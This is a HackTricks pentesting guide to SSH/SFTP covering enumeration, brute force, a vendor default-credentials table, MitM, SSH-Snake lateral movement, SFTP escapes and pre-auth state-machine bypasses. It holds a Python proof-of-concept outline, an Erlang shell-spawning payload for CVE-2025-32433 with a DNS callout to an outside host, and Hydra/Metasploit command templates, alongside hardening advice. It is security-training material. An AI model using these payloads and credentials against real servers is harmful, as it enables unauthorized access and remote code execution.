# 22 - Pentesting SSH/SFTP {{#include ../banners/hacktricks-training.md}} ## Basic Information **SSH (Secure Shell or Secure Socket Shell)** is a network protocol that enables a secure connection to a computer over an unsecured network. It is essential for maintaining the confidentiality and integrity of data when accessing remote systems. **Default port:** 22 ``` 22/tcp open ssh syn-ack ``` **SSH servers:** - [openSSH](http://www.openssh.org) – OpenBSD SSH, shipped in BSD, Linux distributions and Windows since Windows 10 - [Dropbear](https://matt.ucc.asn.au/dropbear/dropbear.html) – SSH implementation for environments with low memory and processor resources, shipped in OpenWrt - [PuTTY](https://www.chiark.greenend.org.uk/~sgtatham/putty/) – SSH implementation for Windows, the client is commonly used but the use of the server is rarer - [CopSSH](https://www.itefix.net/copssh) – implementation of OpenSSH for Windows **SSH libraries (implementing server-side):** - [libssh](https://www.libssh.org) – multiplatform C library implementing the SSHv2 protocol with bindings in [Python](https://github.com/ParallelSSH/ssh-python), [Perl](https://github.com/garnier-quentin/perl-libssh/) and [R](https://github.com/ropensci/ssh); it’s used by KDE for sftp and by GitHub for the git SSH infrastructure - [wolfSSH](https://www.wolfssl.com/products/wolfssh/) – SSHv2 server library written in ANSI C and targeted for embedded, RTOS, and resource-constrained environments - [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD java library is based on Apache MINA - [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2 protocol library ## Enumeration ### Banner Grabbing ```bash nc -vn 22 ``` ### Automated ssh-audit ssh-audit is a tool for ssh server & client configuration auditing. [https://github.com/jtesta/ssh-audit](https://github.com/jtesta/ssh-audit) is an updated fork from [https://github.com/arthepsy/ssh-audit/](https://github.com/arthepsy/ssh-audit/) **Features:** - SSH1 and SSH2 protocol server support; - analyze SSH client configuration; - grab banner, recognize device or software and operating system, detect compression; - gather key-exchange, host-key, encryption and message authentication code algorithms; - output algorithm information (available since, removed/disabled, unsafe/weak/legacy, etc); - output algorithm recommendations (append or remove based on recognized software version); - output security information (related issues, assigned CVE list, etc); - analyze SSH version compatibility based on algorithm information; - historical information from OpenSSH, Dropbear SSH and libssh; - runs on Linux and Windows; - no dependencies ```bash usage: ssh-audit.py [-1246pbcnjvlt] -1, --ssh1 force ssh version 1 only -2, --ssh2 force ssh version 2 only -4, --ipv4 enable IPv4 (order of precedence) -6, --ipv6 enable IPv6 (order of precedence) -p, --port= port to connect -b, --batch batch output -c, --client-audit starts a server on port 2222 to audit client software config (use -p to change port; use -t to change timeout) -n, --no-colors disable colors -j, --json JSON output -v, --verbose verbose output -l, --level= minimum output level (info|warn|fail) -t, --timeout= timeout (in seconds) for connection and reading (default: 5) $ python3 ssh-audit ``` [See it in action (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp) ### Public SSH key of server ```bash ssh-keyscan -t rsa -p ``` ### Weak Cipher Algorithms This is discovered by default by **nmap**. But you can also use **sslcan** or **sslyze**. ### Nmap scripts ```bash nmap -p22 -sC # Send default nmap scripts for SSH nmap -p22 -sV # Retrieve version nmap -p22 --script ssh2-enum-algos # Retrieve supported algorythms nmap -p22 --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys nmap -p22 --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods ``` ### Shodan - `ssh` ## Brute force usernames, passwords and private keys ### Username Enumeration In some versions of OpenSSH you can make a timing attack to enumerate users. You can use a metasploit module in order to exploit this: ``` msf> use scanner/ssh/ssh_enumusers ``` ### [Brute force](../generic-hacking/brute-force.md#ssh) Some common ssh credentials [here ](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt)and [here](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) and below. ### Private Key Brute Force If you know some ssh private keys that could be used... let's try it. You can use the nmap script: ``` https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html ``` Or the MSF auxiliary module: ``` msf> use scanner/ssh/ssh_identify_pubkeys ``` Or use `ssh-keybrute.py` (native python3, lightweight and has legacy algorithms enabled): [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). #### Known badkeys can be found here: {{#ref}} https://github.com/rapid7/ssh-badkeys/tree/master/authorized {{#endref}} #### Weak SSH keys / Debian predictable PRNG Some systems have known flaws in the random seed used to generate cryptographic material. This can result in a dramatically reduced keyspace which can be bruteforced. Pre-generated sets of keys generated on Debian systems affected by weak PRNG are available here: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). You should look here in order to search for valid keys for the victim machine. ### Kerberos / GSSAPI SSO If the target SSH server supports GSSAPI (for example Windows OpenSSH on a domain controller), you can authenticate using your Kerberos TGT instead of a password. Workflow from a Linux attacker host: ```bash # 1) Ensure time is in sync with the KDC to avoid KRB_AP_ERR_SKEW sudo ntpdate # 2) Generate a krb5.conf for the target realm (optional, but handy) netexec smb -u -p '' -k --generate-krb5-file krb5.conf sudo cp krb5.conf /etc/krb5.conf # 3) Obtain a TGT for the user kinit klist # 4) SSH with GSSAPI, using the FQDN that matches the host SPN ssh -o GSSAPIAuthentication=yes @ ``` Notes: - If you connect to the wrong name (e.g., short host, alias, or wrong order in `/etc/hosts`), you may get: "Server not found in Kerberos database" because the SPN does not match. - `crackmapexec ssh --kerberos` can also use your ccache for Kerberos auth. ## Default Credentials | **Vendor** | **Usernames** | **Passwords** | | ---------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | APC | apc, device | apc | | Brocade | admin | admin123, password, brocade, fibranne | | Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, _Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme | | Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler | | D-Link | admin, user | private, admin, user | | Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin | | EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc | | HP/3Com | admin, root, vcx, app, spvar, manage, hpsupport, opc_op | admin, password, hpinvent, iMC123, pvadmin, passw0rd, besgroup, vcx, nice, access, config, 3V@rpar, 3V#rpar, procurve, badg3r5, OpC_op, !manage, !admin | | Huawei | admin, root | 123456, admin, root, Admin123, Admin@storage, Huawei12#$, HwDec@01, hwosta2.0, HuaWei123, fsp200@HW, huawei123 | | IBM | USERID, admin, manager, mqm, db2inst1, db2fenc1, dausr1, db2admin, iadmin, system, device, ufmcli, customer | PASSW0RD, passw0rd, admin, password, Passw8rd, iadmin, apc, 123456, cust0mer | | Juniper | netscreen | netscreen | | NetApp | admin | netapp123 | | Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle | | VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default | ## SSH-MitM If you are in the local network as the victim which is going to connect to the SSH server using username and password you could try to **perform a MitM attack to steal those credentials:** **Attack path:** - **Traffic Redirection:** The attacker **diverts** the victim's traffic to their machine, effectively **intercepting** the connection attempt to the SSH server. - **Interception and Logging:** The attacker's machine acts as a **proxy**, **capturing** the user's login details by pretending to be the legitimate SSH server. - **Command Execution and Relay:** Finally, the attacker's server **logs the user's credentials**, **forwards the commands** to the real SSH server, **executes** them, and **sends the results back** to the user, making the process appear seamless and legitimate. [**SSH MITM**](https://github.com/jtesta/ssh-mitm) does exactly what is described above. In order to capture perform the actual MitM you could use techniques like ARP spoofing, DNS spoofin or others described in the [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/index.html#spoofing). ## SSH-Snake If you want to traverse a network using discovered SSH private keys on systems, utilizing each private key on each system for new hosts, then [**SSH-Snake**](https://github.com/MegaManSec/SSH-Snake) is what you need. SSH-Snake performs the following tasks automatically and recursively: 1. On the current system, find any SSH private keys, 2. On the current system, find any hosts or destinations (user@host) that the private keys may be accepted, 3. Attempt to SSH into all of the destinations using all of the private keys discovered, 4. If a destination is successfully connected to, repeats steps #1 - #4 on the connected-to system. It's completely self-replicating and self-propagating -- and completely fileless. ## Config Misconfigurations ### Root login It's common for SSH servers to allow root user login by default, which poses a significant security risk. **Disabling root login** is a critical step in securing the server. Unauthorized access with administrative privileges and brute force attacks can be mitigated by making this change. **To Disable Root Login in OpenSSH:** 1. **Edit the SSH config file** with: `sudoedit /etc/ssh/sshd_config` 2. **Change the setting** from `#PermitRootLogin yes` to **`PermitRootLogin no`**. 3. **Reload the configuration** using: `sudo systemctl daemon-reload` 4. **Restart the SSH server** to apply changes: `sudo systemctl restart sshd` ### SFTP Brute Force - [**SFTP Brute Force**](../generic-hacking/brute-force.md#sftp) ### SFTP command execution There is a common oversight occurs with SFTP setups, where administrators intend for users to exchange files without enabling remote shell access. Despite setting users with non-interactive shells (e.g., `/usr/bin/nologin`) and confining them to a specific directory, a security loophole remains. **Users can circumvent these restrictions** by requesting the execution of a command (like `/bin/bash`) immediately after logging in, before their designated non-interactive shell takes over. This allows for unauthorized command execution, undermining the intended security measures. [Example from here](https://community.turgensec.com/ssh-hacking-guide/): ```bash ssh -v noraj@192.168.1.94 id ... Password: debug1: Authentication succeeded (keyboard-interactive). Authenticated to 192.168.1.94 ([192.168.1.94]:22). debug1: channel 0: new [client-session] debug1: Requesting no-more-sessions@openssh.com debug1: Entering interactive session. debug1: pledge: network debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0 debug1: Sending command: id debug1: client_input_channel_req: channel 0 rtype exit-status reply 0 debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0 uid=1000(noraj) gid=100(users) groups=100(users) debug1: channel 0: free: client-session, nchannels 1 Transferred: sent 2412, received 2480 bytes, in 0.1 seconds Bytes per second: sent 43133.4, received 44349.5 debug1: Exit status 0 $ ssh noraj@192.168.1.94 /bin/bash ``` Here is an example of secure SFTP configuration (`/etc/ssh/sshd_config` – openSSH) for the user `noraj`: ``` Match User noraj ChrootDirectory %h ForceCommand internal-sftp AllowTcpForwarding no PermitTunnel no X11Forwarding no PermitTTY no ``` This configuration will allow only SFTP: disabling shell access by forcing the start command and disabling TTY access but also disabling all kind of port forwarding or tunneling. ### SFTP Tunneling If you have access to a SFTP server you can also tunnel your traffic through this for example using the common port forwarding: ```bash sudo ssh -L :: -N -f @ ``` ### SFTP Symlink The **sftp** have the command "**symlink**". Therefor, if you have **writable rights** in some folder, you can create **symlinks** of **other folders/files**. As you are probably **trapped** inside a chroot this **won't be specially useful** for you, but, if you can **access** the created **symlink** from a **no-chroot** **service** (for example, if you can access the symlink from the web), you could **open the symlinked files through the web**. For example, to create a **symlink** from a new file **"**_**froot**_**" to "**_**/**_**"**: ```bash sftp> symlink / froot ``` If you can access the file "_froot_" via web, you will be able to list the root ("/") folder of the system. ### Authentication methods On high security environment it’s a common practice to enable only key-based or two factor authentication rather than the simple factor password based authentication. But often the stronger authentication methods are enabled without disabling the weaker ones. A frequent case is enabling `publickey` on openSSH configuration and setting it as the default method but not disabling `password`. So by using the verbose mode of the SSH client an attacker can see that a weaker method is enabled: ```bash ssh -v 192.168.1.94 OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019 ... debug1: Authentications that can continue: publickey,password,keyboard-interactive ``` For example if an authentication failure limit is set and you never get the chance to reach the password method, you can use the `PreferredAuthentications` option to force to use this method. ```bash ssh -v 192.168.1.94 -o PreferredAuthentications=password ... debug1: Next authentication method: password ``` Review the SSH server configuration is necessary to check that only expected\ methods are authorized. Using the verbose mode on the client can help to see\ the effectiveness of the configuration. ### Config files ```bash ssh_config sshd_config authorized_keys ssh_known_hosts known_hosts id_rsa ``` ## Fuzzing - [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt) - [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2) ## Authentication State-Machine Bypass (Pre-Auth RCE) Several SSH server implementations contain logic flaws in the **authentication finite-state machine** that allow a client to send *connection-protocol* messages **before** authentication has finished. Because the server fails to verify that it is in the correct state, those messages are handled as if the user were fully authenticated, leading to **unauthenticated code execution** or session creation. At a protocol level any SSH message with a _message code_ **≥ 80** (0x50) belongs to the *connection* layer (RFC 4254) and must **only be accepted after successful authentication** (RFC 4252). If the server processes one of those messages while still in the *SSH_AUTHENTICATION* state, the attacker can immediately create a channel and request actions such as command execution, port-forwarding, etc. ### Generic Exploitation Steps 1. Establish a TCP connection to the target’s SSH port (commonly 22, but other services may expose Erlang/OTP on 2022, 830, 2222…). 2. Craft a raw SSH packet: * 4-byte **packet_length** (big-endian) * 1-byte **message_code** ≥ 80 (e.g. `SSH_MSG_CHANNEL_OPEN` = 90, `SSH_MSG_CHANNEL_REQUEST` = 98) * Payload that will be understood by the chosen message type 3. Send the packet(s) **before completing any authentication step**. 4. Interact with the server APIs that are now exposed _pre-auth_ (command execution, port forwarding, file-system access, …). Python proof-of-concept outline: ```python import socket, struct HOST, PORT = '10.10.10.10', 22 s = socket.create_connection((HOST, PORT)) # skip version exchange for brevity – send your own client banner then read server banner # … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner # Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90) pkt = struct.pack('>I', 1) + b'\x5a' # 0x5a = 90 s.sendall(pkt) # additional CHANNEL_REQUEST packets can follow to run commands ``` In practice you will need to perform (or skip) the key-exchange according to the target implementation, but **no authentication** is ever performed. --- ### Erlang/OTP `sshd` (CVE-2025-32433) * **Affected versions:** OTP < 27.3.3, 26.2.5.11, 25.3.2.20 * **Root cause:** the Erlang native SSH daemon does not validate the current state before invoking `ssh_connection:handle_msg/2`. Therefore any packet with a message code 80-255 reaches the connection handler while the session is still in the *userauth* state. * **Impact:** unauthenticated **remote code execution** (the daemon usually runs as **root** on embedded/OT devices). Example payload that spawns a reverse shell bound to the attacker-controlled channel: ```erlang % open a channel first … then: execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}])."). ``` Blind RCE / out-of-band detection can be performed via DNS: ```erlang execSinet:gethostbyname(".dns.outbound.watchtowr.com").Zsession ``` Detection & Mitigation: * Inspect SSH traffic: **drop any packet with message code ≥ 80 observed before authentication**. * Upgrade Erlang/OTP to **27.3.3 / 26.2.5.11 / 25.3.2.20** or newer. * Restrict exposure of management ports (22/2022/830/2222) – especially on OT equipment. --- ### Other Implementations Affected * **libssh** 0.6 – 0.8 (server side) – **CVE-2018-10933** – accepts an unauthenticated `SSH_MSG_USERAUTH_SUCCESS` sent by the client, effectively the inverse logic flaw. The common lesson is that any deviation from the RFC-mandated state transitions can be fatal; when reviewing or fuzzing SSH daemons pay particular attention to *state-machine enforcement*. ## References - [Unit 42 – Erlang/OTP SSH CVE-2025-32433](https://unit42.paloaltonetworks.com/erlang-otp-cve-2025-32433/) - [SSH hardening guides](https://www.ssh-audit.com/hardening_guides.html) - [Turgensec SSH hacking guide](https://community.turgensec.com/ssh-hacking-guide) - [Pentesting Kerberos (88) – client setup and troubleshooting](pentesting-kerberos-88/README.md) - [0xdf – HTB: TheFrizz](https://0xdf.gitlab.io/2025/08/23/htb-thefrizz.html) ## HackTricks Automatic Commands ``` Protocol_Name: SSH Port_Number: 22 Protocol_Description: Secure Shell Hardening Entry_1: Name: Hydra Brute Force Description: Need Username Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh Entry_2: Name: consolesless mfs enumeration Description: SSH enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit' ``` {{#include ../banners/hacktricks-training.md}}